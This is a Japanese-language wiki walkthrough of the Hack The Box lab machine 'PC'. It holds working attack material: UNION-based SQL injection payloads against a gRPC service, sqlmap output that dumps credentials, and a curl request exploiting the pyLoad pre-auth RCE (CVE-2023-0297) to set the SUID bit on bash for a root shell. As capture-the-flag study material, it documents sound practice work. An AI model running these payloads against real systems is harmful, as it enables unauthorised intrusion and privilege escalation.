HTB_PC - meruneru/tech_memo GitHub Wiki

Machine - PC

攻略ポイントまとめ

  • 全ポートスキャンは--min-rate指定で早くできる
  • gRPCはgRPC UIでローカルAPIを叩けるようになる
  • BurpSuiteのリクエストをファイルに保存してsqlmapでSQLiを探索できる
  • SQL文のlimit 1 offset 1 を指定することで、SQLレスポンスを1行に収めながら次の行を表示できる
  • SSHでサーバ上のポートをローカル側にポートフォワードできる。
  • bashの所有者権限でbashを立ち上げるには-pオプションで。

port scan

SSH と #gRPC(50051) のポートが開いている。 ポート全スキャンをしないと見つからなかった。 「–min-rate」は1秒あたりに送信するパケット数を指定できて、多いほど調査が早い。

┌──(kali㉿kali)-[~/htb/pc]
└─$ nmap -p- -sC -sV --min-rate 5000 10.10.11.214 -oN nmappc -Pn
# Nmap 7.91 scan initiated Fri Aug  4 20:38:07 2023 as: nmap -p- -sC -sV --min-rate 5000 -oN nmap.log -Pn pc.htb                         
Nmap scan report for pc.htb (10.10.11.214)                                                                                               
Host is up (0.26s latency).                                                                                                              
Not shown: 65533 filtered ports                                                                                                          
PORT      STATE SERVICE VERSION                                                                                                          
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)                                                     
| ssh-hostkey:                                                                                                                           
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)                                                                           
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)                                                                          
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)                                                                        
50051/tcp open  unknown                                                                                                                  
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.o
rg/cgi-bin/submit.cgi?new-service :                                                                                                      
SF-Port50051-TCP:V=7.91%I=7%D=8/4%Time=64CD9A34%P=x86_64-pc-linux-gnu%r(NU           

Access

gRPCに繋いでみる。

awsome gRPCでgRPCのツールを探してみるとgRPC UIがスターが多かったので、これを使ってみる。 postmanのgRPCバージョンのようなツールみたいだ。

httpアクセスする際は "-plaintext"と指定する必要があるみたいだ。 これで"http://127.0.0.1:34529/" にアクセスできる。

┌──(kali㉿kali)-[~]
└─$ ./go/bin/grpcui pc.htb:50051
Failed to dial target host "pc.htb:50051": tls: first record does not look like a TLS handshake
                                                                   
┌──(kali㉿kali)-[~]
└─$ ./go/bin/grpcui -plaintext pc.htb:50051                    1 ⨯
gRPC Web UI available at http://127.0.0.1:34529/
/usr/bin/xdg-open: 882: www-browser: not found
/usr/bin/xdg-open: 882: links2: not found
/usr/bin/xdg-open: 882: elinks: not found
/usr/bin/xdg-open: 882: links: not found
/usr/bin/xdg-open: 882: lynx: not found
/usr/bin/xdg-open: 882: w3m: not found
xdg-open: no method available for opening 'http://127.0.0.1:34529/'
Failed to open browser: exit status 3                                                  

!./assets/Pasted image 20230805105144.png

試しに、admin/adminでログインすると、成功した。

  • Respoinse Data { "message": "Your id is 487." }

  • Response Trailers token b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTEyMzUwMTV9.kdnwvXSfzWYWWH9pqlCRijW6SkaVogtv13MwQI5WZaw'

BurpsuiteでリクエストをSQLiを探索

id部分にSQLiを仕込めないか調査する。 ハンバーガーボタンから"Copy to file"でファイルに書き込み、id部分をアスタリスクにする。

┌──(kali㉿kali)-[~/htb/pc]
└─$ cat req.burp
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:34529
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: X2p3CBN8l-1rJreHhgWCk8bPVGMFrHWKUkCv_K0qsCQ
X-Requested-With: XMLHttpRequest
Content-Length: 193
Origin: http://127.0.0.1:34529
Connection: close
Referer: http://127.0.0.1:34529/
Cookie: _grpcui_csrf_token=X2p3CBN8l-1rJreHhgWCk8bPVGMFrHWKUkCv_K0qsCQ

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTEyMTE0MTV9.995pxfzZ6tJ13SnctqasX53StHy30_w1ob52_SDbzks"}],"data":[{"id":"*"}]}

sqlmapを実行すると、UNION queryでSQLiできること、accountsテーブルにadminがあることがわかる。 ただadmin/adminはすでにわかっている・・・。

sqlmap -r req.burp  --batch --dump
...
    Type: UNION query
    Title: Generic UNION query (random number) - 3 columns
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiL
CJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTEyMTE0MTV9
.995pxfzZ6tJ13SnctqasX53StHy30_w1ob52_SDbzks"}],"data":[{"id":"-2505
 UNION ALL SELECT CHAR(113,98,120,122,113)||CHAR(75,106,108,106,103,
104,75,78,90,122,83,104,111,73,70,67,82,80,118,76,71,66,98,116,67,68
,100,98,116,114,100,113,100,80,89,75,116,84,114,115)||CHAR(113,106,9
8,120,113)-- hQNJ"}]}
---
[20:54:01] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[20:54:01] [INFO] fetching tables for database: 'SQLite_masterdb'
[20:54:01] [INFO] fetching columns for table 'accounts' 
[20:54:01] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[1 entry]
+----------+----------+
| password | username |
+----------+----------+
| admin    | admin    |
+----------+----------+

gRPC UIの画面にて、idに下記をリクエストを入れて accountsテーブルのusernameカラム数を見てみると"2"だった。

123 union select count(username) from accounts

{
  "message": "2"
}

2ユーザー登録されているものの gRPCのレスポンスとして、1行しか返せないようだ。

limit と offsetを使ってほしいところだけを取得すると sau/HereIsYourPassWord1431 というID/PWの組み合わせが見つかった。

123 union select username from accounts limit 1 offset 1
{
  "message": "sau"
}

123 union select password from accounts limit 1 offset 0
{
  "message": "HereIsYourPassWord1431"
}

123 union select username from accounts limit 1 offset 1
{
  "message": "admin"
}

Foothold

SSHでアクセス

sau/HereIsYourPassWord1431 でSSHログインできた。 get user flag !

$ ssh pc.htb -l sau

sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)

管理者権限を取得

LinPEAS

権限昇格のための情報を収集する #LinPEAS github を実行する。

# Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors

53(DNS), 8000ポートが開いている。

tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -   
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -   
tcp6       0      0 :::22                   :::*                    LISTEN      -   
tcp6       0      0 :::50051                :::*                    LISTEN      -  

SSHポートフォワード

リモートサーバでwget localhost:8000 とすると、index.htmlが取得できるので、 ローカルポートフォワーディングを行ってブラウザでアクセスする。

$ ssh -L 8000:127.0.0.1:8000 [email protected]

SSHのコマンドについて

上記コマンドはSSHによるポートフォワーディングを行うもので、 #ポートフォワーディング とは、ネットワークでの通信経路を特定のルールに従って転送する概念を指します。

コマンドは以下の形式になっています:

ssh -L [local port]:[remote host]:[remote port] [username]@[ssh server]

それぞれの部分について説明すると:

  1. ssh: Secure Shellの略で、ネットワークプロトコルの一つ。暗号化された通信経路を確立し、リモートマシンでのコマンド実行やファイル転送を可能にします。
  2. -L: SSHのオプションで、ローカルポートフォワーディングを指定します。このオプションを指定すると、SSH接続を通じてリモートマシンの特定のポートへの通信を、ローカルマシンの特定のポートからリモートマシンの特定のポートへ転送できます。
  3. 8000:127.0.0.1:8000: -Lオプションの後に指定する3つの値です。[local port]:[remote host]:[remote port]の形式です。ここでは、ローカルマシンのポート8000からの通信を、リモートマシン(127.0.0.1)のポート8000に転送するよう指定しています。127.0.0.1は特別なIPアドレスで、自分自身(SSH接続を行うマシン自体)を指します。
  4. [email protected]: SSH接続を行うリモートマシンの情報。[username]@[ssh server]の形式で、ユーザー名がsau、SSHサーバーのIPアドレスが10.129.37.201となっています。

ポートフォワーディングの効果は、例えばローカルマシン上で動いているウェブブラウザから、http://localhost:8000にアクセスすると、実際にはリモートマシンの8000番ポートで動いているサービスに接続する、というものです。ローカルマシン上であたかもリモートのサービスが動いているかのように扱うことができます。これはデバッグやリモートで動作しているサービスへの安全な接続などに利用されます。

pyLoadの脆弱性について

"http://localhost:8000" にアクセスすると、pyLoadというサービスにつながる。

https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad この脆弱性を使うことでRCEできる刺さる。

RCEで下記コマンドをpc.htb内部で実行させることで、bashバイナリの所有者であるrootとしてbashを起動させることができる。

chmod u+s /usr/bin/bash

上記コマンドをURLエンコーディグして、下記リクエストをvictim先に投げつける。

┌──(kali㉿kali)-[~/htb/pc]
└─$ curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"chmod+u%2bs+/usr/bin/bash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://localhost:8000/flash/addcrypted2'

-pオプションをつけることで、bashの所有者rootとしてログインできる。

sau@pc:~$ bash -p
bash-5.0# 
⚠️ **GitHub.com Fallback** ⚠️